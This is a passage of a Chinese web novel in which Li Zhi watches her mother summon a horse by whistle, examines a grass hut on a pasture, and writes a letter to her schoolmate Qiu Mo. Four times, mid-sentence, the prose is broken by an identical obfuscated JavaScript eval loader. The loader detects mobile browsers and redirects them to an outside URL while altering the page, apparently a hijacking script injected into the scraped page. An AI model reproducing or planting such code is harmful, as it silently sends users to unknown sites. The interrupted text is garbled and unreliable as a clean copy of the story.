只有一匹马的话,倒也无所谓。只要训练过了,它就应该知道是在叫它吧? 可是,如果有很多匹马的话,要通过怎样的训练与呼唤方式,才能让特定的马知道,主人是在叫特定的一匹马,也就是让“它”过来呢? 想到这里,真是令黎芝困惑不已。 难不成,余庆想无差别地把所有马一起叫来,再选择自己想骑的马骑上去吗? 这样做的话,也太没有效率了。而且,也太折腾马群了吧?余庆真的会这么做吗? 虽然黎芝觉得费劲,但总而言之,这件事的真相,很快就能揭晓了。 想到这一点,黎芝感到很激动。甚至可以说,她对此简直期待过剩了。 事情的真相,应该比自己想象得更有趣吧…… 黎芝目不转睛地望着余庆,心里充满了奇妙的期待。 接下来,或许就是见证奇迹的时刻了。 如果余庆想要呼唤马群里特定一匹马的话,她到底会怎么做呢? 黎芝拭目以待的结果,却是让她有一点失望。 “喏,就是这个了。”余庆突然从颈部附近取出了一条银色缎带或类似的环状物体。 定睛一看,那东西并不是简单的环状缎带,它的上面还有一个类似吊坠的物件。 再仔细一看,那也不是缎带,而是金属制作的银色链条。 这样的物件,乍看土气,实际却有种时髦的味道。 但也正因为时髦,黎芝不太看得懂。 银色链条所连接的吊坠,其实是一个“哨子”。而且,真的可以吹响。 余庆把这个“哨子”拿到了嘴边。 然后,她突然吹出了较长的三声哨响,然后停了下来。 “妈妈就是这么呼唤马儿的吗?”黎芝惊讶极了。 余庆没有回答。 黎芝还想看到更有戏剧性的行为表现呢。 但实际上,却只在余庆这里看到了十分省略偷懒敷衍的操作而已。 黎芝对此感到有些失望,不过倒也能够理解。 (说起来,我分不清同类动物的个体差别呢。听说牧民都能认出自己家的牲畜,他们是怎么做到的啊?) 就算是完全同品种、同颜色的马,专业人士应该也能分得清吧? 黎芝觉得,拥有这种能力的人很神奇。要是自己也能尽快掌握这种能力的话,就最好不过了。 三声较长的哨响之后,又过了一会儿,黎芝真的看到了一匹高大的马儿跑了过来。 (真的能叫过来啊……而且就是这一只……) 这是一匹枣红色的大马。它看起来十分健康、高大、强壮,令人感到很值得信任。 “妈妈,你本来要叫的马儿就是它吗?”黎芝好奇地问道,“还是说,随便叫来一匹马儿就行,不需要非得是这一匹枣红马呢?” “嗯,就是它。”余庆点了点头,说道,“我这次并不打算叫别的马过来。这匹马叫‘大枣’,性格比较温顺稳重。你想学骑马的话,可以考虑骑它哦。” (妈妈真的很想让我学骑马啊……) 担心辜负母亲的期望,黎芝对此稍微有些不安。 “学习骑马的话,起码从明后天才开始吧……”黎芝又再好奇地问道,“它怎么知道是叫它呢?我们家只有一匹马吗?” “不,有好几匹呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13376550|141028||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”余庆摇了摇头,解释道,“在每匹马身上训练出的哨子呼唤方式,都是不一样的。所以,它们都知道哪个哨响是在叫它哦。” “怎么个不一样啊?”黎芝追问道。 “比如说……这匹马的呼唤声,是三声长音。”余庆解释道,“而别的马,可能是三声短音或是两声长音之类的,这种程度的‘不一样’吧。” 余庆给出的这个答案,在黎芝的感受中,虽然似乎很容易理解,但还是有些不可思议。 马儿都能听到所有的哨响声吗?如果听漏了的话,难道不会有别的马跟着跑过来吗? 虽然,黎芝对此觉得有点不可思议。 但是,母亲呼唤的马及时来了,就是这种方法的可行性,最好的证明吧。 “那么,我先走啦。”余庆拍了一下黎芝的肩膀,豪爽地说道。 在黎芝看来,余庆真不愧是骑惯了马的牧人。 余庆上马的动作,干净利落、流畅自然,让黎芝不由得微微有些倾慕神往。 (会骑马这件事,好像很帅……) “妈妈注意安全,一路顺风哦。”黎芝微笑着点了点头。 就这样,黎芝目送走了余庆。 之前余庆说过,让黎芝找个屋子休息。 但按照黎芝的行事风格,她这么做的话,并不会感到安心。 在闲暇之余,黎芝还是想多看看这些陌生的事物。 当然,黎芝没有刺探别人的隐私之类的癖好。 她只是单纯地、想寻找一些对自己有用或是有意义的线索或情报,来打发无聊罢了。 比如说,在此时,黎芝想仔细观察这些陌生的草屋。 之前余庆在这里的时候,黎芝四下打量、调查草屋的话,会感到不方便、很不好意思的。 现在,就不需要这个顾忌了。 这里只有黎芝一个人,非常适合四下转转这种事情。 (反正,我现在的任务是“看家”。四下转转也是对“家”负责的表现嘛……) 黎芝一边有些心虚地这么想着,一边真的以比之前挑选第七间屋子时放松许多的态度,开始“调查”起草屋来。 由于之前没有办法好好观察、也没有在极近距离接触的关系,所以,房子的很多细节,完全没有发现。 比方说,原来这些草屋,并不是直接盖在地面上的。 当然,草屋也不是盖在草上面的。 与想象中不同,草屋的地面,并非需要直接与土地接触。 草屋,是被一层类似“地板”或是“地板砖”的结构、所架空的建筑物。而这个“结构”,是木制的,上面又额外铺了一层草席。 或许,把那些草席说成“地毯”会更为合适。 但“地毯”又是不应该悬在空中的,这样说也很怪。 仔细观察后,黎芝才发现,这些“草屋”的结构,都是由几根又长又粗的木头作为地基、埋进土里,支撑并修建起来的。 固定好几根木头——通常是四根的“地基”之后,就要在上面铺一层由木头支撑起来的“地板”了。 9. 第 9 章 这种“地板”的制作很粗糙。 而且,也不是直接铺在地上,以大地的力量直接支撑,令人安心的结构。 它只是通过几根木头彼此联系的结构支撑,悬空在低空中的存在。看起来就不结实,让黎芝联想起“空中楼阁”这个成语。 但其实,也没有真的不结实啦。 只是看起来不结实而已,按压时的感觉就要结实多了。 黎芝觉得,就算在上面乱蹦乱跳,应该也不至于会踩坏、震塌地板。 但毕竟是悬空之物,应该还是有“承重”的极限的。 由黎芝目测的话,这种东西的承重能力应该很一般,还是小心为上吧。 在这种悬空的“地板”上,另外铺好一层漂亮的鲜绿色草席之后,小草屋里的“地板”或者说“地面”就此建设完成了。 这种鲜绿色的草席,也不知道是怎么制作出来的。 在黎芝过去的经验中,还从来没有见过与此类似的神奇之物呢。 让她感到不可思议的是,在它被摘下、制作成草席之后,居然能依旧保持着青草应有的漂亮绿色,而不是自然干燥、枯萎成枯草的黄颜色。 不仅颜色是如此漂亮,摸上去感觉也是光滑细腻的。 而且…… 这种草席竟然还散发出浓郁而奇特的草木清香,令人闻到时感到心旷神怡、身心舒畅。 余庆的话,似乎没有错。 这种草屋,应该不会招惹虫蚁老鼠的吧?相反,应该还有驱散它们的效果才对。 毕竟,惹人讨厌的小型动物,一般都会讨厌这种“闻上去就不是食物”的香味。 似乎只有人类才会喜欢这种香味,真搞不懂这其中的原理。 为什么,人类和别的动物,在这方面会显著地不一样呢? 黎芝的脑子里闪过这样的思绪,但注意力很快就转移了。 此时的黎芝,正在用手按压着,仔细检查、调查着这种草房的墙壁。 草房的墙壁,当然是草做的。但摸起来非常厚实,质量上感觉并不是非常容易坍塌、摧毁的东西。 (话说回来,这种草屋竟然还有窗户,真是精致呢……) 黎芝以前,曾在书本上看到过草屋的图片。书本上的草屋,是没有窗户的造型。 住在那种没有窗户的草屋里的人,莫非总是处在黑暗中吗?黎芝很好奇。 但眼前这种有窗扇的草屋,到了白天的时候,只要打开窗户,光线就能轻易地照耀到屋子里来了。 其实,就算是月色好的夜晚,打开窗户的话,屋子里应该也会很亮吧。 可惜的是,这里的窗户,是不使用“玻璃”作为窗扇的重要组成部分的,甚至也不使用“窗户纸”来糊窗户。 因此,现在这种可以打开的窗扇结构,一点儿都不能起到防御飞虫进来的效果。 不过,因为里面有独特的草木香味的关系,倒也不用太在意虫蚁的侵袭就是了。 虽然“辉山”的气候比起京城要凉爽很多,但现在终究属于夏天,正是虫蚁多发的季节。 黎芝却没在草屋里看到任何一只虫子,这让她很是安心。 这种感觉还不错。 黎芝仔细观察着这间暂时属于自己的“房间”。 草屋,至少是这里的草屋,都是一座草屋就是一间房子的构造。并不会建造一座大房子,然后用“墙壁”把房间给间隔开来。 大概是因为,草屋本就不大,也没必要做间隔了。 额外弄出墙壁什么的东西,把屋子分开的话,只会让人感到穷酸。 (不过,草屋本身就很穷酸啦……) 黎芝抬起头来,仔细研究了一会儿。 之后,黎芝才发现,包括自己的屋子在内的这些小屋,都是使用类似席子的东西作为墙壁和屋顶的。 草屋的屋顶有些高,大约有一丈左右。 以黎芝的身高,不踩在什么东西上面的话,是够不到屋顶的。 而黎芝,也没有什么类似“一定要够到屋顶”的需求。 她抬头看了看,感觉自己做不到,自然就放弃了。 现在的黎芝,只是专心地研究着自己够得到的东西而已。 比如说墙壁。 这种草屋的墙壁,摸起来虽然柔软,但也带有坚韧结实的感觉。 但是……这种小草屋,真的不会被风吹得倒塌吗? 想起童话故事里的剧情,黎芝不由得产生了这样的隐忧。 但她转念一想,这里的风感觉上并不很大,似乎不像是会把草屋这种水平的建筑物吹倒的强度。 至少,夏天不会。 冬天再说冬天的事情吧。 况且,就算是草屋倒下的话,因为重量轻,想必砸在人身上也不会很疼吧? 反倒是……就算是砖石结构的建筑物,该倒塌的时候,也还是会倒塌的。那才是真正的“灭顶之灾”呢。 这样一想,黎芝倒是不感觉住在这里有多么危险了。 这么容易想开,或许是因为黎芝天性乐观吧? 不过,这里还真偏僻荒凉啊。 黎芝心想,如果自己不骑马,而是独自出去走走的话,恐怕都没有办法靠自己的力量找回家吧? 荒凉的地方,会让人缺乏安全感的。 余庆才出去不到一盏茶的时间而已……独自待在这里的黎芝,居然就已经感到有些不安了。 或许可以……去找叫做“小黑”的猫,和叫做“阿黄”的狗玩玩?由于寂寞和不安的原因,黎芝的脑子里甚至闪过这样的念头。 但黎芝很快打消了这个念头。 还是算了吧。 (和猫狗玩的话,不但不能放松心情,而且过程本身就会形成我的“压力源”了啊……) 她真的很害怕接近各种动物。 除非是鱼类这种可以养在水缸、水池里的动物。 其次是鸟类,关在笼子里的动物,也多少让黎芝有些安全感。 至于马和牛羊,虽然多少也有些害怕,但毕竟是草食动物,不用太担心突然被它们攻击。 也许,以后的黎芝就可以跟猫狗好好相处了吧? 但现阶段的话,和猫狗一起玩,对黎芝来说是不可能的任务。 黎芝无聊地缩在草屋里, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13376551|141028||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从窗户观察着猫狗。 它们都懒洋洋地在房屋边上“巡视”,看起来一点也不慌张害怕。 (真是的,连猫狗都比我勇敢多了诶……) 说起来,这里为什么连个院子都没有啊? 在京城的话,除了商铺与饭庄,没有院子的房屋还真的没见过呢。 而“辉山”的房子,竟然就这么直接暴露在草甸子上,不觉得怪怪的吗? 黎芝的心里抱有一系列的疑问,但没有人可以替她解答。毕竟,黎芝连能回答她问题的人都找不到。 自己一个人,待在这种地方还真是无聊…… (说起来,“无聊”和“害怕”这两种近乎互斥的情绪,到底为什么,能在这里同时产生的啊?) “妈妈”就是这样生活的吗? 在短时间内,黎芝很好奇牧民的生活方式,但她很快就放弃想这个问题了。 毕竟,可预见的短期未来里,黎芝将不得不一直住在这种地方。 到时候,就算不想知道牧民是如何生活的,恐怕也很不可能吧。 这种以后自然会知道的事情,就先不浪费精神去胡思乱想了。 草屋也姑且算是调查完毕了吧……现在真是无聊又烦躁啊。 等余庆回家,应该还需要很长一段时间。 那么,现在做什么好呢? 只想了不到半盏茶的时间,黎芝就做出了决定。 趁空闲的时间还有很多,现在来给“那个人”写信吧? 多亏黎芝曾经是个豪富人家的大小姐的缘故,即使来到了草原,她也带着自己曾经拥有的那些物品。 真是值得庆幸,原本“收养”黎芝的那一家人,还不至于苛刻到,在放弃她的时候,强迫她“净身出户”的程度。 虽然,黎芝跟自己的养父养母一家,关系并不算是非常好的;但是,想到这种事情,黎芝觉得还是应该感激他们的慷慨吧。 黎芝并不讨厌他们。 因此,才会在与那家人近乎断绝联系的情况下,也没有放弃自己一直使用的姓名。 物欲很低的黎芝,其实并不是很怀念过去绫罗绸缎、山珍海味的奢侈生活。 对她来说,只要衣服舒适贴身、食物营养卫生就足够了。 除此之外的附加享受,在黎芝看来,基本都是可有可无的存在。 但是,有些作为大小姐才能拥有的东西,对黎芝来说却是非常重要的东西。 比如说,现在被黎芝作为行李、一起带来的“西洋纸”做成的本子与信纸;以及“西洋笔”“墨水瓶”“橡皮”等等用于书写的文具。 这些东西,不仅仅昂贵,而且对黎芝来说,十分重要。 因为,拥有这些西洋传来的纸笔,黎芝才能方便地进行书写。 毛笔与传统纸张,书写效率是非常低的。 用来书写的话,总觉得更像是一种“爱好”或“艺术形式”。 因为书写效率太低了,黎芝基本上都不会使用它们来记录什么想记录的事情。 在学校里,使用毛笔与传统纸张来书写的行为,也确实是一种名为“书法”的艺术了。 10. 第 10 章 (现在回想起来,也还很是不好意思。) (每次上“书法课”的时候,我都只能勉强比“吊车尾”的水平好一点而已。) (哎呀呀……真是没用呢。) 虽然,黎芝在心里这么自言自语地抱怨着。 但实际上,对自己的书法水平很差这件事,她其实并不以为意。 对于练习“书法”这一类的事情,黎芝并没有什么明显的兴趣。 她只是单纯关心“书写的内容”而已。 对“写出漂亮的字体”这回事,黎芝基本是兴趣缺缺的。 多半就是因为这个缘故,黎芝写下的文字,才很难引以为傲吧。 对黎芝来说,只要能使用“西洋纸笔”、完成学校布置的所有作业的话,她就已经很满意了。 所谓的“西洋纸”,是一种质地较为坚硬而结实光滑的白纸。 而“西洋笔”,则是分为“铅笔”与“钢笔”这两种常见的种类。 “铅笔”是外面包裹着软木的黑色细芯笔。 使用的时候,需要不断用小刀削去软木,稍稍有些麻烦。 使用“铅笔”书写的优点是,可以使用一种名为“橡皮”的柔软物品,擦去笔迹。每次考试的时候,尤为适用。 “钢笔”则要高级一些,它是由金属制作的“笔头”与竹木制作的“笔杆”组合起来的,结构较为复杂的笔。 和“毛笔”一样,使用“钢笔”的时候,需要消耗“墨水”。 如果使用大夏本土出产的“墨汁”,蘸着来书写些什么东西的话,钢笔倒也不是完全写不出字来。只是效果比较差,缺少了些这么做的意义而已。 因此,使用钢笔这种书写工具时,搭配的有色液体一般也就是“墨水”了。 所谓的“墨水”,也是西洋进口来的一种文具。 墨水是一种由“色素”或“染料”制作而成的有色液体,只有蘸着墨水,钢笔才能写字。 与“墨汁”相似的是,“墨水”也是“调配”而成的“液体”。 不同的是,“墨汁”是“墨块”搭配水之后,在砚台上“磨制”出来的浓黑液体。它的颜色黑亮油润,在纸上呈现出的效果也很显眼。 而“墨水”的成分,似乎就要简单多了。它通常是用一种叫做“墨水片”的黑色或蓝色的片状固体,用开水冲泡出来的蓝色或黑色液体。 【注:用“墨水片”调配“墨水”,是许多年以前的一种常见操作,非杜撰。在古早的年代里,钢笔用的“墨水”并不是直接装在玻璃瓶中的有色液体,而真的是“冲泡”出来的。】 相比需要研磨的“墨汁”,使用冲泡好就可以用很久的“墨水”来书写的话,其效率当然要高得多了。 可惜的是,这里暂时没有开水可以用。 在这里要怎么烧水呢?黎芝对此也不知道。 幸好,在黎芝的行李中,她翻找到了一个“墨水瓶”,里面还残余半瓶已经调配好的“墨水”。 长途跋涉的时候,带上“墨水瓶”这种东西,是很愚蠢的决定。 黎芝真的不记得自己当时是怎么想的了,感觉多半是“鬼迷心窍”吧。 在旅途中翻倒还是小事,大不了损失这一瓶墨水罢了。 但最要命的是,装有“墨水”的“墨水瓶”,很可能弄脏行李附近的所有东西的。 墨水瓶在行李中打翻的话,那可不是闹着玩的。 即使是最粗心的黎芝,此时想了想,都感到有些后怕。 幸好,这半瓶墨水,没有引发任何意外,而是乖乖地跟随黎芝来到了“辉山”。仅此而已。 这样一来,就可以使用“墨水”来写信了。 说起来,想到这里,因为可以用上自己熟悉的文具,黎芝的不良情绪多少改善了一些。 说干就干。于是黎芝动笔写了起来。 奇怪的是,在写信的时候,黎芝萌生的,是一种类似“近乡情怯”的感觉。 仅仅是想到要给秋墨写信,黎芝就莫名忧郁起来,也完全不能动笔了。 “出走”的时候,没有和秋墨告别,就匆匆离开了。 所以,秋墨会责怪自己吗?黎芝有些担心地想。 如果是别人的话,应该就会这样迁怒黎芝。但如果是秋墨的话,应该不会吧? 因为,他是一个十分宽宏大量、温和体贴、理解别人的人。 但这样的完美,也许只是黎芝的幻想罢了。 秋墨到底是一个表里如一、真的很在乎别人的人,还是一个单纯擅长客套的家伙呢? 对这一点,黎芝实在很不确定。 因此,她也不知道自己是不是“杞人忧天”了。 要是自己给秋墨写了信,他却没有看、更没有回复的话,该怎么办? 抑或是,给秋墨写信之后,竟然成为了他拿来炫耀、或是嘲笑自己的根据的话,又该怎么办? 不得不说,处于低谷的时候,人们常常会担心这些事情。 黎芝也不例外。 而且,现在回想起来…… 她对秋墨的认识,似乎很多基于想象、而非事实。 在这种情况下,判断别人可能不会那么准确。 但黎芝想了半天,终于还是多少想清楚了什么。 如果是秋墨的话,不会这样的。 他一定会认真对待黎芝的信件。 秋墨是个好人,不是伪君子。黎芝果然还是倾向于相信这一点。 如果说从:过去的同学中,选出一个黎芝最为信任的人的话,那就是秋墨了。 两个人不是同年级,交集并不是很多,甚至都没有说过几句话。 就连“通讯地址”,也是不知道为什么,鬼使神差、一时兴起而交换的。 上学的时候,黎芝从来没有给秋墨写过信。 很可惜、很让黎芝失望的是,秋墨也从来没有给自己写过信。 秋墨给出的那个通讯地址,已经是很久之前获取的了。 事到如今,这个通讯地址还是否可以使用,都值得疑惑。 在动笔之前,黎芝回想着各种各样的事情。怎么去想,都觉得很悲观。 这难道不就是……没有缘分的两个人,应有的状态吗? 缘分已经断掉了的话,把它强行接续起来,还有意义吗? 即使处于持续的动摇之中,黎芝最终还是下定了决心。 有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13376552|141028||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意义。 这种意义,不是在命运上的意义。 而仅仅是,个人的意愿的呈现而已。 因为,黎芝希望和秋墨重新建立起来“联系”;所以,她要这么做。 有关命运的意义,已经不重要了。 对黎芝来说,更重要的是,“自我满足”所带来的安心感。 于是,黎芝拿起了钢笔。 蘸着“墨水瓶”中所余的那些墨水,黎芝开始动笔了。 秋墨君敬启: 由于发生了太多的事情,我不得不对你不辞而别。 真的很遗憾,我也不想这样。 希望你能原谅我。 不过,不原谅也没有关系。我也不认为你是会怨恨别人的人。 关于我身上的事情,你应该也知道了吧? 因此,我就不在此赘述了。 今天,是我来到这里的第一天。 这里,是一个遍地野草的“牧场”。 草生长得非常旺盛。 就连我住的地方,都是用草建造的“草屋”。 安全水平怎么样,暂时还无从得知。 舒适性上,感觉还可以。 今天就写到这里吧。你要记得回信哦。 其他关于这里的事情,我会在更多了解之后,写在下一封信里的。 黎芝 六月二十日 【按:此处指的是农历的“六月二十日”。】 写下了今天的时间之后,黎芝就停笔了。 特意在旁边观察了一段时间的信,当她确定西洋纸上的墨水已经干涸,折叠起来也不会沾染在一起时,就把自己写的这封短信叠了起来。 以后一段时间,大概会暂时没机会再写信了吧。 黎芝心想,离开学校之后,恐怕很多人都根本不会承认自己曾是他们的同学了。 人与人的关系,或许就是这么的淡薄与功利。 曾经要好的同学,恐怕也不会关心黎芝落魄后的生活状态。 就是因为知道这一点,黎芝才不愿意给同学中所包括的、或者说她特指的那个人,也就是秋墨写信。 自己落魄的状态,就算给秋墨看到了,也依然让人有点难受。 但是,和别人相比,秋墨依然是不一样的。 尽管对秋墨的了解并不多,但黎芝就是莫名其妙地相信这一点。 比方说,如果学校里还有三个人,值得黎芝用写信之类的方式联络的话,那秋墨必定在其中。 但是,其实就连这种想法也是错的。 站在黎芝的角度回想的话,就算这个学校里,只值得和一个人联络,那个人也必定是秋墨。 为何对秋墨如此信任? 黎芝并没有能清楚说出的理由。 因为,黎芝的记忆力,其实是很差的。 黎芝所记得的,只有“秋墨是值得自己信任的”这件事。 至于“基于什么理由,秋墨才被黎芝视为值得信任的人?”这种事,黎芝确实已经忘记了。 这方面的“失忆”,让黎芝感到很有些难过。 但现实就是这样,忘记了重要的事情这个事实,她没法改变自己。 11. 第 11 章 将写给秋墨的信件拿在了手里,黎芝轻轻把它折叠了起来。 折痕很浅。 这样一来,对方打开的时候,信纸的状态会比较好看。 话虽如此,这只是在“京城”地区寄送信件时的经验而已。 但是,从“辉山”到“京城”的距离,实在太过于遥远。 因此,信件经过长途跋涉之后,折痕多半还是会被压得死死的吧? 黎芝想到这个可能性,颇有些忧伤。 不过,她依然决定假装并不会发生这样的事情,按照原本的习惯,浅浅地折出折痕。 然后,黎芝将这张西洋纸,装进了也是西洋纸做的“信封”里。 信纸被装进去之后,黎芝又把“信封”的封口合了起来。 按照京城大夏人的习惯来说,信封是很不结实,不太适用于“包装”长途信件的东西。 为了防止长途寄送的信件因纸质信封破损的缘故丢失或损坏,大夏人会自己使用浅色布料缝制一个袋子来代替纸质信封。 布袋缝好后,再把写上收信人与寄信人地址姓名的布袋,送到“邮局”之类的地方。 付上一笔邮资,就可以让他们寄送这种长途信件了。 但黎芝使用的这种信封,虽然是纸质,却也可以胜任长途邮件的旅途。 这种信封,不但纸张比较结实,而且还在封口处自带了一种叫做“背胶”的东西。 使用“背胶”的那种信封,不仅结实程度很高,而且给信件封口的过程也十分简单。 因为,“背胶”这种东西,其实就是一种预先涂抹在信封上封口处的胶水。 涂抹上“背胶”的部分,摸上去是很干燥的,但相比没有涂抹“背胶”的部分,有些微妙的光滑感觉。 这是因为“背胶”这种东西,本质就是一时失去黏性的胶水罢了。 想用“背胶”辅助给信封封口的话,只要在有“背胶”的封口上,先涂抹一层水,再用力压紧就行了。 如果在“背胶”的部分涂抹水的话,“背胶”上的胶水,就会吸收后涂抹上的水,恢复潮湿状态。 之后,涂有“背胶”的部分就会变得黏黏的。 在这种状态下,只要用手指使劲捏合的话,封口的部分就会粘在一起。信就这么收口了。 其实,用浆糊来粘东西更好、更结实。 很多人由于不信任“背胶”的强度,特意自己熬制浆糊来粘贴信件之类的东西。 但现在的黎芝,当然没有熬制浆糊的条件了。 幸好,黎芝有这种附有“背胶”的信封。就算不熬制,只要与水接触就可以使用了。 如果没有这种信封的话,黎芝还得设法熬制浆糊之类的东西,才能给信件封口。 那可是很麻烦的事情,黎芝只是想一想,就感到退缩。 像现在这样,直接用带有“背胶”的信封封好信的操作,那可比在这里想办法获取浆糊要容易多了。 想到自己有这种条件,黎芝感到很庆幸和欣慰。 产生这种正面的感情,是很重要的。 黎芝现在十分需要安定平静的心情。 这种心情,可以帮助自己在创伤中复原,尽快融入这个陌生的家。 信封已经封了口。 但黎芝看着自己手中的信件,突然发现了一件明明非常不妙和显眼、却不知为何会被自己忽略的事情。 信件是要“寄出”才行的吧? 固然,就连收信人的名字与地址都已经书写好了,黎芝该做的事情,已经完成了。 秋墨收到后不肯回信,也是他的事情,本来不怎么需要放在心上的。 但仔细想想,有一件事明明很令人在意,却被黎芝忽略了呢。 那就是,为了让秋墨收到信件,需要去寄信。 但是,在“辉山”,到哪里才能寄信呢? 在京城生活的时候,到处都有一种上锁的小箱子,名叫“信箱”。 写好的信,可以顺着“信箱”里特意预留的缝隙塞进去。 有一种名为“邮递员”的职业,会在特定的时间,去收集这些信件,带到他们的工作单位“邮局”。 信件被带到“邮局”之后,“邮局”的工作人员会先“分拣”一遍,然后再根据地址的不同,转发给对应地区的“邮局”。 而信件转发到对应地区的“邮局”后,对应地区的“邮局”里的工作人员,又会重新分拣一番,再把信件带给本地工作的“邮递员”。 最后,“邮递员”会把那些他携带的信件,挨家挨户地送过去。 这就是“写信”“寄信”“收信”“回信”的流程了。 但黎芝这一路走来,好像都没有在大路上看到“信箱”不说,在自己家里,也没有看到“信箱”这种很常见的东,真是奇怪西。 当然了,自己家安装的“信箱”与邮局设置的“信箱”还是有所区别的。 区别之一,就在于邮局无法打开自己家的信箱,而自己家也打不开邮局设置的信箱。 既然在信箱这一环节就遇到了阻碍,那一时就没办法了。 黎芝想了想,无奈地暂时决定先算了。 等之后有机会的时候,问问母亲吧。 即使母亲说了“辉山”这里不能寄信的话,以后有机会的时候,黎芝也会再到大一些的地方去打听通讯渠道的。 这封信黎芝非寄不可。黎芝的决心是这么对她说的。 “不告而别”已经很过分了,至少不能一直“杳无音信”吧。 如果黎芝不给秋墨写信的话,秋墨多半会永远都不知道她去了哪里的。 大江南北,人海茫茫,谁能知道分别的人去了哪里呢? 在秋墨离开京城之前,黎芝的新地址必须尽快写给他、与对方交换信息才行。 黎芝写完了这封信之后,本来把它藏在了行李里放文具的位置。 但一转念,黎芝怎么想怎么都感到不安,最后干脆放在了衣服内侧、那个可以装钱的私密口袋里。 倒不是防备谁会拿走……黎芝只是怕自己不小心弄丢而已。 这可是很重要的东西。 信封里面装的不只是信件,还有炽热真诚的履诺。 如果弄丢了的话,就算重写一封,也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13376553|141028||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不能回到那个“特别想写信”的时刻与状态了。 黎芝是这么认为的,所以她十分珍惜地对待这封暂时无法寄出的信件。 黎芝把信件装好之后,又收拾好了房间,就开始给自己铺床了。 草屋里的床,其实也不过是几个“草垫子”摞在一起而已。 但只是这几个“草垫子”的厚度叠加起来,都快要有黎芝的膝盖高了。 因为毕竟是干草编织的东西,因此通常不会直接躺在上面。 在“草垫子”上面,黎芝铺了两层褥子;之后,又在褥子的上面铺了两层床单上去。 离开之前的家的时候,没有嫌麻烦而放弃携带枕头被褥等床上用品,真是太好了。 黎芝对此很是庆幸。 如果当时偷懒,不带这些枕头被褥、放在黎家的话,不但会被扔掉, 而且,今天恐怕也没有类似床榻的地方可以睡了。 铺好褥子和床单之后,黎芝又在行李里翻出了一个竹制的凉枕。 在这样的季节里,使用竹编的中空枕头,还是十分合适的。 只要在凉枕上铺上一层枕巾,就可以使用了。 至于盖的东西,黎芝选择了一条薄薄的“夹被”。 这种被子,里面是一块厚布,并不保暖。但适合在夏天使用,十分凉快。 做好这些之后,黎芝一时不知道该做什么,她便和衣躺了下来。 躺下的时候,黎芝没有盖夹被。 因为,穿着衣服还盖被子的话太热了,即使是盖最单薄的被子也是一样。 感觉有些无聊……黎芝甚至想睡觉。 但因为担心余庆很快就会回来,所以黎芝又不太敢睡觉。 但说真的,如果在这种时候睡觉的话,即使是余庆也不会苛责吧。 毕竟此时此刻,在这里除了睡觉,也就没别的事情可以做了。 这么说可能是夸张,睡觉之外的事情还是有很多的,比如,可以看看书什么的。 虽然黎芝随身携带的书很少,但其中,有一本是很厚的词典。 慢慢地看的话,看很久很久都可以看不完。甚至,可以看一辈子。 黎芝以前的愿望之一,就是看完这本词典。 黎芝以前的愿望之二,则是看完后把这本词典背诵下来。 这听起来是不可能的。不过,正因为听起来就不可能,才有实现的价值。 虽然,可以读的书已经心中有数了,想读的话,随时都可以开始。 但是,黎芝想了想,果然还是不能安心看书呢。 毕竟,余庆随时都可能回来。 黎芝倒不是担心,自己第一天就在这草屋里偷懒的话,会引发什么问题或是矛盾。 比如说,类似被余庆抱怨这种事,黎芝感觉并不会遇到。余庆不像是那种会抱怨别人的人。 而且,就算遇到了也没有什么问题,发现的问题才能够解决。 黎芝只是觉得,人有义务帮助自己的母亲做一些劳动。 如果自己现在读书或者睡觉的话,母亲余庆在附近做事的时候,黎芝就不能帮忙了。 12. 第 12 章 如果出现了母亲需要帮忙的情境,自己却没帮上对方的忙的话,黎芝觉得,自己应该会很内疚、不安的吧。 想到这种可能性,黎芝就不敢睡觉了。 尽管,之前余庆的态度,似乎的确是允许黎芝睡觉的没错。 不然……,为了打发时间,让自己变得清醒一些,还是先出去转转怎么样? 在外面的话,还能寻找一下,看看有没有什么自己可以做的事情。 至少,比这样待在草屋子里发呆要好。 之前自己已经喂过狗了,是不是该喂喂猫比较好? 但是,手边也没有什么能喂猫的便宜食品。因此,黎芝不知道能喂猫什么食物。 无奈地想了想,黎芝觉得还是先算了。以后有机会,再和猫培养感情吧。 话说,这里真的算是“住宅”吗? 